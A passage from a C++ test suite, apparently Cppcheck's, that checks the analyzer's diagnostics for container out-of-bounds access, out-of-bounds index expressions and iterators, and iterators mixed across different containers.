ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n 